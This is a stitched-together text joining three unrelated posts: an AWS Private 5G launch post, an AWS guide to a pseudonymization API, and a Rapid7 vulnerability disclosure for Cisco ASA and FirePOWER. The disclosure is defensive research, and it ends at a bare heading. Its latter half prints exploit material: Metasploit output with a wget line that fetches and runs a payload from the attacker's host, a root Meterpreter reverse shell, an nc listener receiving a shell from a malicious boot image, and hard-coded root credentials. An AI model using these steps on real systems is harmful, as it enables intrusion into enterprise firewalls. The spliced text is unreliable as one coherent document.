Back in the mid-1990’s, I had a young family and 5 or 6 PCs in the basement. One day my son Stephen and I bought a single box that contained a bunch of 3COM network cards, a hub, some drivers, and some cables, and spent a pleasant weekend setting up our first home LAN.
Introducing AWS Private 5G Today I would like to introduce you to AWS Private 5G, the modern, corporate version of that very powerful box of hardware and software. This cool new service lets you design and deploy your own private mobile network in a matter of days. It is easy to install, operate, and scale, and does not require any specialized expertise. You can use the network to communicate with the sensors & actuators in your smart factory, or to provide better connectivity for handheld devices, scanners, and tablets for process automation.
The private mobile network makes use of CBRS spectrum. It supports 4G LTE (Long Term Evolution) today, and will support 5G in the future, both of which give you a consistent, predictable level of throughput with ultra low latency. You get long range coverage, indoors and out, and fine-grained access control.
AWS Private 5G runs on AWS-managed infrastructure. It is self-service and API-driven, and can scale with respect to geographic coverage, device count, and overall throughput. It also works nicely with other parts of AWS, and lets you use AWS Identity and Access Management (IAM) to control access to both devices and applications.
Getting Started with AWS Private 5G To get started, I visit the AWS Private 5G Console and click Create network:
I assign a name to my network (JeffCell) and to my site (JeffSite) and click Create network:
The network and the site are created right away. Now I click Create order:
I fill in the shipping address, agree to the pricing (more on that later), and click Create order:
Then I await delivery, and click Acknowledge order to proceed:
The package includes a radio unit and ten SIM cards. The radio unit requires AC power and wired access to the public Internet, along with basic networking (IPv4 and DHCP).
When the order arrives, I click Acknowledge order and confirm that I have received the desired radio unit and SIMs. Then I engage a Certified Professional Installer (CPI) to set it up. As part of the installation process, the installer will enter the latitude, longitude, and elevation of my site.
Things to Know Here are a couple of important things to know about AWS Private 5G:
Partners – Planning and deploying a private wireless network can be complex and not every enterprise will have the tools to do this work on their own. In addition, CBRS spectrum in the United States requires Certified Professional Installation (CPI) of radios. To address these needs, we are building an ecosystem of partners that can provide customers with radio planning, installation, CPI certification, and implementation of customer use cases. You can access these partners from the AWS Private 5G Console and work with them through the AWS Marketplace.
Deployment Options – In the demo above, I showed you the cloud–based deployment option, which is designed for testing and evaluation purposes, for time-limited deployments, and for deployments that do not use the network in latency-sensitive ways. With this option, the AWS Private 5G Mobile Core runs within a specific AWS Region. We are also working to enable on-premises hosting of the Mobile Core on a Private 5G compute appliance.
CLI and API Access – I can also use the create-network, create-network-site, and acknowledge-order-receipt commands to set up my AWS Private 5G network from the command line. I still need to use the console to place my equipment order.
Scaling and Expansion – Each network supports one radio unit that can provide up to 150 Mbps of throughput spread across up to 100 SIMs. We are working to add support for multiple radio units and greater number of SIM cards per network.
Regions and Locations – We are launching AWS Private 5G in the US East (Ohio), US East (N. Virginia), and US West (Oregon) Regions, and are working to make the service available outside of the United States in the near future.
Pricing – Each radio unit is billed at $10 per hour, with a 60 day minimum.
According to an article in MIT Sloan Management Review, 9 out of 10 companies believe their industry will be digitally disrupted. In order to fuel the digital disruption, companies are eager to gather as much data as possible. Given the importance of this new asset, lawmakers are keen to protect the privacy of individuals and prevent any misuse. Organizations often face challenges as they aim to comply with data privacy regulations like Europe’s General Data Protection Regulation (GDPR) and the California Consumer Privacy Act (CCPA). These regulations demand strict access controls to protect sensitive personal data.
This is a two-part post. In part 1, we walk through a solution that uses a microservice-based approach to enable fast and cost-effective pseudonymization of attributes in datasets. The solution uses the AES-GCM-SIV algorithm to pseudonymize sensitive data. In part 2, we will walk through useful patterns for dealing with data protection for varying degrees of data volume, velocity, and variety using Amazon EMR, AWS Glue, and Amazon Athena.
Data privacy and data protection basics
Before diving into the solution architecture, let’s look at some of the basics of data privacy and data protection. Data privacy refers to the handling of personal information and how data should be handled based on its relative importance, consent, data collection, and regulatory compliance. Depending on your regional privacy laws, the terminology and definition in scope of personal information may differ. For example, privacy laws in the United States use personally identifiable information (PII) in their terminology, whereas GDPR in the European Union refers to it as personal data. Techgdpr explains in detail the difference between the two. Through the rest of the post, we use PII and personal data interchangeably.
Data anonymization and pseudonymization can potentially be used to implement data privacy to protect both PII and personal data and still allow organizations to legitimately use the data.
Anonymization vs. pseudonymization
Anonymization refers to a technique of data processing that aims to irreversibly remove PII from a dataset. The dataset is considered anonymized if it can’t be used to directly or indirectly identify an individual.
Pseudonymization is a data sanitization procedure by which PII fields within a data record are replaced by artificial identifiers. A single pseudonym for each replaced field or collection of replaced fields makes the data record less identifiable while remaining suitable for data analysis and data processing. This technique is especially useful because it protects your PII data at record level for analytical purposes such as business intelligence, big data, or machine learning use cases.
The main difference between anonymization and pseudonymization is that the pseudonymized data is reversible (re-identifiable) to authorized users and is still considered personal data.
Solution overview
The following architecture diagram provides an overview of the solution.
This architecture contains two separate accounts:
Central pseudonymization service: Account 111111111111 – The pseudonymization service is running in its own dedicated AWS account (right). This is a centrally managed pseudonymization API that provides access to two resources for pseudonymization and reidentification. With this architecture, you can apply authentication, authorization, rate limiting, and other API management tasks in one place. For this solution, we’re using API keys to authenticate and authorize consumers.
Compute: Account 222222222222 – The account on the left is referred to as the compute account, where the extract, transform, and load (ETL) workloads are running. This account depicts a consumer of the pseudonymization microservice. The account hosts the various consumer patterns depicted in the architecture diagram. These solutions are covered in detail in part 2 of this series.
The pseudonymization service is built using AWS Lambda and Amazon API Gateway. Lambda enables the serverless microservice features, and API Gateway provides serverless APIs for HTTP or RESTful and WebSocket communication.
We create the solution resources via AWS CloudFormation. The CloudFormation stack template and the source code for the Lambda function are available in GitHub Repository.
We walk you through the following steps:
Deploy the solution resources with AWS CloudFormation.
Pseudonymization logic is written in Java and uses the AES-GCM-SIV algorithm developed by codahale. The source code is hosted in a Lambda function. Secret keys are stored securely in Secrets Manager. AWS Key Management System (AWS KMS) makes sure that secrets and sensitive components are protected at rest. The service is exposed to consumers via API Gateway as a REST API. Consumers are authenticated and authorized to consume the API via API keys. The pseudonymization service is technology agnostic and can be adopted by any form of consumer as long as they’re able to consume REST APIs.
As depicted in the following figure, the API consists of two resources with the POST method:
Pseudonymization – The pseudonymization resource can be used by authorized users to pseudonymize a given list of plaintexts (identifiers) and replace them with a pseudonym.
Reidentification – The reidentification resource can be used by authorized users to convert pseudonyms to plaintexts (identifiers).
The request response model of the API utilizes Java string arrays to store multiple values in a single variable, as depicted in the following code.
The API supports a Boolean type query parameter to decide whether encryption is deterministic or probabilistic.
The implementation of the algorithm has been modified to add the logic to generate a nonce, which is dependent on the plaintext being pseudonymized. If the incoming query parameters key deterministic has the value True, then the overloaded version of the encrypt function is called. This generates a nonce using the HmacSHA256 function on the plaintext, and takes 12 sub-bytes from a predetermined position for nonce. This nonce is then used for the encryption and prepended to the resulting ciphertext. The following is an example:
This approach is useful especially for building analytical systems that may require PII fields to be used for joining datasets with other pseudonymized datasets.
The following code shows an example of deterministic encryption.
If the incoming query parameters key deterministic has the value False, then the encrypt method is called without the deterministic parameter and the nonce generated is a random 12 bytes. This generates a different ciphertext for the same incoming plaintext.
The following code shows an example of probabilistic encryption.
The Lambda function utilizes a couple of caching mechanisms to boost the performance of the function. It uses Guava to build a cache to avoid generation of the pseudonym or identifier if it’s already available in the cache. For the probabilistic approach, the cache isn’t utilized. It also uses SecretCache, an in-memory cache for secrets requested from Secrets Manager.
Prerequisites
For this walkthrough, you should have the following prerequisites:
ARTEFACT_S3_BUCKET – The S3 bucket where the infrastructure code is stored. The bucket must be created in the same account and Region where the solution lives.
Use the following commands to run the ./deployments_scripts/deploy.sh script:
Upon successful deployment, the script displays the stack outputs, as depicted in the following screenshot. Take note of the output, because we use it in subsequent steps.
Generate encryption keys and persist them in Secrets Manager
In this step, we generate the encryption keys required to pseudonymize the plain text data. We generate those keys by calling the KMS key we created in the previous step. Then we persist the keys in a secret. Encryption keys are encrypted at rest and in transit, and exist in plain text only in-memory when the function calls them.
To perform this step, we use the script key_generator.py. You need to pass the following parameters for the script to run successfully:
KmsKeyArn – The output value from the previous stack deployment
AWS_PROFILE – The named profile that applies to the AWS CLI command
AWS_REGION – The Region where the solution is deployed
SecretName – The output value from the previous stack deployment
Use the following command to run ./helper_scripts/key_generator.py:
Upon successful deployment, the secret value should look like the following screenshot.
Test the solution
In this step, we configure Postman and query the REST API, so you need to make sure Postman is installed in your machine. Upon successful authentication, the API returns the requested values.
The following parameters are required to create a complete request in Postman:
PseudonymizationUrl – The output value from stack deployment
ReidentificationUrl – The output value from stack deployment
deterministic – The value True or False for the pseudonymization call
API_Key – The API key, which you can retrieve from API Gateway console
From the collection folder, navigate to the pseudonymization request.
To test the pseudonymization resource, replace all variables in the sample request with the parameters mentioned earlier.
The request template in the body already has some dummy values provided. You can use the existing one or exchange with your own.
Choose Send to run the request.
The API returns in the body of the response a JSON data type.
From the collection folder, navigate to the reidentification request.
To test the reidentification resource, replace all variables in the sample request with the parameters mentioned earlier.
Pass to the response template in the body the pseudonyms output from earlier.
Choose Send to run the request.
The API returns in the body of the response a JSON data type.
Cost and performance
There are many factors that can determine the cost and performance of the service. Performance especially can be influenced by payload size, concurrency, cache hit, and managed service limits on the account level. The cost is mainly influenced by how much the service is being used. For our cost and performance exercise, we consider the following scenario:
The REST API is used to pseudonymize Vehicle Identification Numbers (VINs). On average, consumers request pseudonymization of 1,000 VINs per call. The service processes on average 40 requests per second, or 40,000 encryption or decryption operations per second. The average process time per request is as follows:
15 milliseconds for deterministic encryption
23 milliseconds for probabilistic encryption
6 milliseconds for decryption
The number of calls hitting the service per month is distributed as follows:
50 million calls hitting the pseudonymization resource for deterministic encryption
25 million calls hitting the pseudonymization resource for probabilistic encryption
25 million calls hitting the reidentification resource for decryption
Based on this scenario, the average cost is $415.42 USD per month. You may find the detailed cost breakdown in the estimate generated via the AWS Pricing Calculator.
We use Locust to simulate a similar load to our scenario. Measurements from Amazon CloudWatch metrics are depicted in the following screenshots (network latency isn’t considered during our measurement).
The following screenshot shows API Gateway latency and Lambda duration for deterministic encryption. Latency is high at the beginning due to the cold start, and flattens out over time.
The following screenshot shows metrics for probabilistic encryption.
The following shows metrics for decryption.
Clean up
To avoid incurring future charges, delete the CloudFormation stack by running the destroy.sh script. The following parameters are required to run the script successfully:
STACK_NAME – The CloudFormation stack name
AWS_REGION – The Region where the solution is deployed
AWS_PROFILE – The named profile that applies to the AWS CLI command
Use the following commands to run the ./deployment_scripts/destroy.sh script:
In this post, we demonstrated how to build a pseudonymization service on AWS. The solution is technology agnostic and can be adopted by any form of consumer as long as they’re able to consume REST APIs. We hope this post helps you in your data protection strategies.
Stay tuned for part 2, which will cover consumption patterns of the pseudonymization service.
About the authors
Edvin Hallvaxhiu is a Senior Global Security Architect with AWS Professional Services and is passionate about cybersecurity and automation. He helps customers build secure and compliant solutions in the cloud. Outside work, he likes traveling and sports.
Rahul Shaurya is a Senior Big Data Architect with AWS Professional Services. He helps and works closely with customers building data platforms and analytical applications on AWS. Outside of work, Rahul loves taking long walks with his dog Barney.
Andrea Montanari is a Big Data Architect with AWS Professional Services. He actively supports customers and partners in building analytics solutions at scale on AWS.
MaríaGuerra is a Big Data Architect with AWS Professional Services. Maria has a background in data analytics and mechanical engineering. She helps customers architecting and developing data related workloads in the cloud.
Pushpraj is a Data Architect with AWS Professional Services. He is passionate about Data and DevOps engineering. He helps customers build data driven applications at scale.
Rapid7 discovered vulnerabilities and “non-security” issues affecting Cisco Adaptive Security Software (ASA), Adaptive Security Device Manager (ASDM), and FirePOWER Services Software for ASA. Rapid7 initially reported the issues to Cisco in separate disclosures in February and March 2022. Rapid7 and Cisco continued discussing impact and resolution of the issues through August 2022. The following table lists the vulnerabilities and the last current status that we were able to verify ourselves. Note: Cisco notified Rapid7 as this blog was going to press that they had released updated software. We have been unable to verify these fixes, but have marked them with ** in the table.
For information on vulnerability checks in InsightVM and Nexpose, please see the Rapid7 customers section at the end of this blog.
Description
Identifier
Status
Cisco ASDM binary packages are not signed. A malicious ASDM package can be installed on a Cisco ASA resulting in arbitrary code execution on any client system that connects to the ASA via ASDM.
The Cisco ASDM client does not verify the server’s SSL certificate, which makes it vulnerable to man-in-the-middle (MITM) attacks.
None
Not fixed
Cisco ASDM client sometimes logs credentials to a local log file. Cisco indicated this was a duplicate issue, although they updated CVE-2022-20651’s affected versions to include the version Rapid7 reported and issued a new release of ASDM (7.17.1.155) in June.
Cisco ASDM client is affected by an unauthenticated remote code execution vulnerability. The issue was originally reported by Malcolm Lashley and was disclosed without a fix by Cisco in July 2021. Cisco reported this issue was fixed in ASDM 7.18.1.150, but Rapid7 has informed Cisco that the issue was in fact not addressed and remains unfixed. Cisco sent a new build for testing prior to publication of this blog, but because of time constraints we were unable to test it.
Cisco ASDM binary package contains an unsigned Windows installer. The ASDM client will prompt the user to execute the unsigned installer or users are expected to download the installer from the ASA and execute it. This is an interesting code execution mechanism to be used with CVE-2022-20829 or CVE-2021-1585.
Cisco ASA-X with FirePOWER Services is vulnerable to an authenticated, remote command injection vulnerability. Using this vulnerability allows an attacker to gain root access to the FirePOWER module.
Cisco FirePOWER module before 6.6.0 allowed a privileged Cisco ASA user to reset the FirePOWER module user’s password. A privileged Cisco ASA user could bypass the FirePOWER module login prompt to gain root access on the FirePOWER module.
Cisco FirePOWER module boot images before 7.0.0 allow a privileged Cisco ASA user to obtain a root shell via command injection or hard-coded credentials.
Cisco ASA with FirePOWER Services loads and executes arbitrary FirePOWER module boot images. The ASA does not restrict the use of old boot images or even the use of boot images that weren’t created by Cisco. This could result in code execution from a malicious boot image.
None
Not fixed
Some Cisco FirePOWER module boot images support the installation of unsigned FirePOWER installation packages. This could result in code execution from a malicious package.
None
Not fixed
** Denotes an advisory Cisco updated as this blog went to press.
Rapid7 will present the vulnerabilities, exploits, and tools at Black Hat USA and DEF CON on August 11 and August 13, respectively.
Product description
Cisco ASA Software is a “core operating system for the Cisco ASA Family.” Cisco ASA are widely deployed enterprise-class firewalls that also support VPN, IPS, and many other features.
Cisco ASDM is a graphical user interface for remote administration of appliances using Cisco ASA Software.
Of all the reported issues, Rapid7 believes the following to be the most critical.
CVE-2022-20829: ASDM binary package is not signed
The Cisco ASDM binary package is installed on the Cisco ASA. Administrators that use ASDM to manage their ASA download and install the Cisco ASDM Launcher on their Windows or macOS system. When the ASDM launcher connects to the ASA, it will download a large number of Java files from the ASA, load them into memory, and then pass execution to the downloaded Java.
The ASDM launcher installer, the Java class files, the ASDM web portal, and other files are all contained within the ASDM binary package distributed by Cisco. Rapid7 analyzed the format of the binary package and determined that it lacked any type of cryptographic signature to verify the package’s authenticity (see CWE-347). We discovered that we could modify the contents of an ASDM package, update a hash in the package’s header, and successfully install the package on a Cisco ASA.
The result is that an attacker can craft an ASDM package that contains malicious installers, malicious web pages, and/or malicious Java. An example of exploitation using a malicious ASDM package goes like this: An administrator using the ASDM client connects to the ASA and downloads/executes attacker-provided Java. The attacker then has access to the administrator’s system (e.g. the attacker can send themselves a reverse shell). A similar attack was executed by Slingshot APT against Mikrotik routers and the administrative tool Winbox.
The value of this vulnerability is high because the ASDM package is a distributable package. A malicious ASDM package might be installed on an ASA in a supply chain attack, installed by an insider, installed by a third-party vendor/administrator, or simply made available “for free” on the internet for administrators to discover themselves (downloading ASDM from Cisco requires a valid contract).
Rapid7 has published a tool, the way, that demonstrates extracting and rebuilding “valid” ASDM packages. The way can also generate ASDM packages with an embedded reverse shell. The following video demonstrates an administrative user triggering the reverse shell simply by connecting to the ASA.
Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2022-20829. We have not yet verified this information.
CVE-2021-1585: Failed patch
Rapid7 vulnerability research previously described exploitation of CVE-2021-1585 on AttackerKB. The vulnerability allows a man-in-the-middle or evil endpoint to execute arbitrary Java code on an ASDM administrator’s system via the ASDM launcher (similar to CVE-2022-20829). Cisco publicly disclosed this vulnerability without a patch in July 2021. However, at the time of writing, Cisco’s customer-only disclosure page for CVE-2021-1585 indicates that the vulnerability was fixed with the release of ASDM 7.18.1.150 in June 2022.
Rapid7 quickly demonstrated to Cisco that this is incorrect. Using our public exploit for CVE-2021-1585, staystaystay, Rapid7 was able to demonstrate the exploit works against ASDM 7.18.1.150 without any code changes.
The following video demonstrates downloading and installing 7.18.1.150 from an ASA and then using staystaystay to exploit the new ASDM launcher. staystaystay only received two modifications:
The version.prop file on the web server was updated to indicate the ASDM version is 8.14(1) to trigger the new loading behavior.
The file /public/jploader.jar was downloaded from the ASA and added to the staystaystay web server.
Additionally, ASDM 7.18.1.150 is still exploitable when it encounters older versions of ASDM on the ASA. The following shows that Cisco added a pop-up to the ASDM client indicating connecting to the remote ASA may be dangerous, but allows the exploitation to continue if the user clicks “Yes”:
CVE-2021-1585 is a serious vulnerability. Man-in-the-middle attacks are trivial for well-funded APT. Often they have the network position and the motive. It also does not help that ASDM does not validate the remote server’s SSL certificate and uses HTTP Basic Authentication by default (leading to password disclosure to active MITM). The fact that this vulnerability has been public and unpatched for over a year should be a concern to anyone who administers Cisco ASA using ASDM.
If Cisco did release a patch in a timely manner, it’s unclear how widely the patch would be adopted. Rapid7 scanned the internet for ASDM web portals on June 15, 2022, and examined the versions of ASDM being used in the wild. ASDM 7.18.1 had been released a week prior and less than 0.5% of internet-facing ASDM had adopted 7.18.1. Rapid7 found the most popular version of ASDM to be 7.8.2, a version that had been released in 2017.
Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2021-1585. We have not yet verified this information.
ASDM Version
Count
Cisco ASDM 7.8(2)
3202
Cisco ASDM 7.13(1)
1698
Cisco ASDM 7.15(1)
1597
Cisco ASDM 7.16(1)
1139
Cisco ASDM 7.9(2)
1070
Cisco ASDM 7.14(1)
1009
Cisco ASDM 7.8(1)
891
Cisco ASDM 7.17(1)
868
Cisco ASDM 7.12(2)
756
Cisco ASDM 7.12(1)
745
CVE-2022-20828: Remote and authenticated command injection
CVE-2022-20828 is a remote and authenticated vulnerability that allows an attacker to achieve root access on ASA-X with FirePOWER Services when the FirePOWER module is installed. To better understand what the FirePOWER module is, we reference an image from Cisco’s Cisco ASA FirePOWER Module Quick Start Guide.
The FirePOWER module is the white oval labeled “ASA FirePOWER Module Deep Packet Inspection.” The module is a Linux-based virtual machine (VM) hosted on the ASA. The VM runs Snort to classify traffic passing through the ASA. The FirePOWER module is fully networked and can access both outside and inside of the ASA, making it a fairly ideal location for an attacker to hide in or stage attacks from.
The command injection vulnerability is linked to the Cisco command line interface (CLI) session do command. In the example that follows, command session do \id`is being executed on the Cisco ASA CLI via ASDM (HTTP), and the Linux commandid` is executed within the FirePOWER module.
A reverse shell exploit for this vulnerability is small enough to be tweetable (our favorite kind of exploit). The following curl command can fit in a tweet and will generate a bash reverse shell from the FirePOWER module to 10.12.70.252:1270:
A Metasploit module has been developed to exploit this issue as well.
The final takeaway for this issue should be that exposing ASDM to the internet could be very dangerous for ASA that use the FirePOWER module. While this might be a credentialed attack, as noted previously, ASDM’s default authentication scheme discloses username and passwords to active MITM attackers. ASDM client has also recently logged credentials to file (CVE-2022-20651), is documented to support the credentials <blank>:<blank> by default (See “Start ASDM”, Step 2), and, by default, doesn’t have brute-force protections enabled. All of that makes the following a very real possibility.
In the previous section, we learned about the Cisco FirePOWER module. In this section, it’s important to know how the FirePOWER module is installed. Installation is a three-step process:
Upload and start the FirePOWER boot image.
From the boot image, download and install the FirePOWER installation package.
From the FirePOWER module VM, install the latest updates.
CSCvu90861 concerns itself with a couple of issues associated with the boot image found in step 1. The boot image, once installed and running, can be entered using the Cisco ASA command session sfr console:
As you can see, the user is presented with a very limited CLI that largely only facilitates network troubleshooting and installing the FirePOWER installation package. Credentials are required to access this CLI. These credentials are well-documented across the various versions of the FirePOWER boot image (see “Set Up the ASA SFR Boot Image, Step 1”). However, what isn’t documented is that the credentials root:cisco123 will drop you down into a root bash shell.
The FirePOWER boot image, similar to the normal FirePOWER module, is networked. It can be configured to use DHCP or a static address, but either way, it has access to inside and outside of the ASA (assuming typical wiring). Again, a perfect staging area for an attacker and a pretty good place to hide.
We also discovered a command injection vulnerability associated with the system install command that yields the same result (root access on the boot image).
We wrote two SSH-based exploits that demonstrate exploitation of the boot image. The first is a stand-alone Python script, and the second is a Metasploit module. Exploitation takes about five minutes, so Metasploit output will have to suffice on this one:
albinolobster@ubuntu:~/metasploit-framework$ ./msfconsole
______________________________________
/ it looks like you're trying to run a \
\ module /
--------------------------------------
\
\
__
/ \
| |
@ @
| |
|| |/
|| ||
|\_/|
\___/
=[ metasploit v6.2.5-dev-ed2c64bffd ]
+ -- --=[ 2228 exploits - 1172 auxiliary - 398 post ]
+ -- --=[ 863 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules
[*] Starting persistent handler(s)...
msf6 > use exploit/linux/ssh/cisco_asax_firepower_boot_root
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > show options
Module options (exploit/linux/ssh/cisco_asax_firepower_boot_root):
Name Current Setting Required Description
---- --------------- -------- -----------
ENABLE_PASSWORD yes The enable password
IMAGE_PATH yes The path to the image on the ASA (e.g. disk0:/asasfr-5500x-boot-6.2.3-4.img
PASSWORD cisco123 yes The password for authentication
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 22 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME cisco yes The username for authentication
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set IMAGE_PATH disk0:/asasfr-5500x-boot-6.2.3-4.img
IMAGE_PATH => disk0:/asasfr-5500x-boot-6.2.3-4.img
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set USERNAME albinolobster
USERNAME => albinolobster
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set LHOST 10.12.70.252
LHOST => 10.12.70.252
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set RHOST 10.12.70.253
RHOST => 10.12.70.253
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > run
[*] Started reverse TCP handler on 10.12.70.252:4444
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://10.12.70.252:8080/ieXiNV
[*] 10.12.70.253:22 - Attempting to login...
[+] Authenticated with the remote server
[*] Resetting SFR. Sleep for 120 seconds
[*] Booting the image... this will take a few minutes
[*] Configuring DHCP for the image
[*] Dropping to the root shell
[*] wget -qO /tmp/scOKRuCR http://10.12.70.252:8080/ieXiNV;chmod +x /tmp/scOKRuCR;/tmp/scOKRuCR;rm -f /tmp/scOKRuCR
[*] Client 10.12.70.253 (Wget) requested /ieXiNV
[*] Sending payload to 10.12.70.253 (Wget)
[*] Sending stage (989032 bytes) to 10.12.70.253
[*] Meterpreter session 1 opened (10.12.70.252:4444 -> 10.12.70.253:53445) at 2022-07-05 07:37:22 -0700
[+] Done!
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.
meterpreter > shell
Process 2160 created.
Channel 1 created.
uname -a
Linux asasfr 3.10.107sf.cisco-1 #1 SMP PREEMPT Fri Nov 10 17:06:45 UTC 2017 x86_64 GNU/Linux
id
uid=0(root) gid=0(root)
This attack can be executed even if the FirePOWER module is installed. The attacker can simply uninstall the FirePOWER module and start the FirePOWER boot image (although that is potentially quite obvious depending on FirePOWER usage). However, this attack seems more viable as ASA-X ages and Cisco stops releasing new rules/updates for the FirePOWER module. Organizations will likely continue using ASA-X with FirePOWER Services without FirePOWER enabled/installed simply because they are “good” Cisco routers.
Malicious FirePOWER boot image
The interesting thing about vulnerabilities (or non-security issues depending on who you are talking to) affecting the FirePOWER boot image is that the Cisco ASA has no mechanism that prevents users from loading and executing arbitrary images. Cisco removed the hard-coded credentials and command injection in FirePOWER boot images >= 7.0.0, but an attacker can still load and execute an old FirePOWER boot image that still has the vulnerabilities.
In fact, there is nothing preventing a user from booting an image of their own creation. FirePOWER boot images are just bootable Linux ISO. We wrote a tool that will generate a bootable TinyCore ISO that can be executed on the ASA. The ISO, when booted, will spawn a reverse shell out to the attacker and start an SSH server, and it comes with DOOM-ASCII installed (in case you want to play DOOM on an ASA). The generated ISO is installed on the ASA just as any FirePOWER boot image would be:
albinolobster@ubuntu:~/pinchme$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 [email protected][email protected]'s password:
User albinolobster logged in to ciscoasa
Logins over the last 5 days: 42. Last login: 23:41:56 UTC Jun 10 2022 from 10.0.0.28
Failed logins since the last login: 0. Last failed login: 23:41:54 UTC Jun 10 2022 from 10.0.0.28
Type help or '?' for a list of available commands.
ciscoasa> en
Password:
ciscoasa# copy http://10.0.0.28/tinycore-custom.iso disk0:/tinycore-custom.iso
Address or name of remote host [10.0.0.28]?
Source filename [tinycore-custom.iso]?
Destination filename [tinycore-custom.iso]?
Accessing http://10.0.0.28/tinycore-custom.iso...!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Writing file disk0:/tinycore-custom.iso...
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
INFO: No digital signature found
76193792 bytes copied in 18.440 secs (4232988 bytes/sec)
ciscoasa# sw-module module sfr recover configure image disk0:/tinycore-custom.iso
ciscoasa# debug module-boot
debug module-boot enabled at level 1
ciscoasa# sw-module module sfr recover boot
Module sfr will be recovered. This may erase all configuration and all data
on that device and attempt to download/install a new image for it. This may take
several minutes.
Recover module sfr? [confirm]
Recover issued for module sfr.
ciscoasa# Mod-sfr 177> ***
Mod-sfr 178> *** EVENT: Creating the Disk Image...
Mod-sfr 179> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 180> ***
Mod-sfr 181> ***
Mod-sfr 182> *** EVENT: The module is being recovered.
Mod-sfr 183> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 184> ***
Mod-sfr 185> ***
Mod-sfr 186> *** EVENT: Disk Image created successfully.
Mod-sfr 187> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 188> ***
Mod-sfr 189> ***
Mod-sfr 190> *** EVENT: Start Parameters: Image: /mnt/disk0/vm/vm_1.img, ISO: -cdrom /mnt/disk0
Mod-sfr 191> /tinycore-custom.iso, Num CPUs: 3, RAM: 2249MB, Mgmt MAC: 00:FC:BA:44:54:31, CP MA
Mod-sfr 192> C: 00:00:00:02:00:01, HDD: -drive file=/dev/sda,cache=none,if=virtio, Dev Driver:
Mod-sfr 193> vir
Mod-sfr 194> ***
Mod-sfr 195> *** EVENT: Start Parameters Continued: RegEx Shared Mem: 0MB, Cmd Op: r, Shared Me
Mod-sfr 196> m Key: 8061, Shared Mem Size: 16, Log Pipe: /dev/ttyS0_vm1, Sock: /dev/ttyS1_vm1,
Mod-sfr 197> Mem-Path: -mem-path /hugepages
Mod-sfr 198> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 199> ***
Mod-sfr 200> Status: Mapping host 0x2aab37e00000 to VM with size 16777216
Mod-sfr 201> Warning: vlan 0 is not connected to host network
Once the ISO is booted, a reverse shell is sent back to the attacker.
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.21 60579
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux box 3.16.6-tinycore #777 SMP Thu Oct 16 09:42:42 UTC 2014 i686 GNU/Linux
ifconfig
eth0 Link encap:Ethernet HWaddr 00:00:00:02:00:01
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:173 errors:0 dropped:164 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9378 (9.1 KiB) TX bytes:4788 (4.6 KiB)
eth1 Link encap:Ethernet HWaddr 00:FC:BA:44:54:31
inet addr:192.168.1.17 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:14 errors:0 dropped:0 overruns:0 frame:0
TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1482 (1.4 KiB) TX bytes:1269 (1.2 KiB)
eth2 Link encap:Ethernet HWaddr 52:54:00:12:34:56
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:4788 (4.6 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Once again, this presents a potential social engineering issue. An attacker that is able to craft their own malicious boot image needs only to convince an administrator to install it. However, an attacker cannot pre-install the image and provide the ASA to a victim because boot images are removed every time the ASA is rebooted.
Malicious FirePOWER installation package
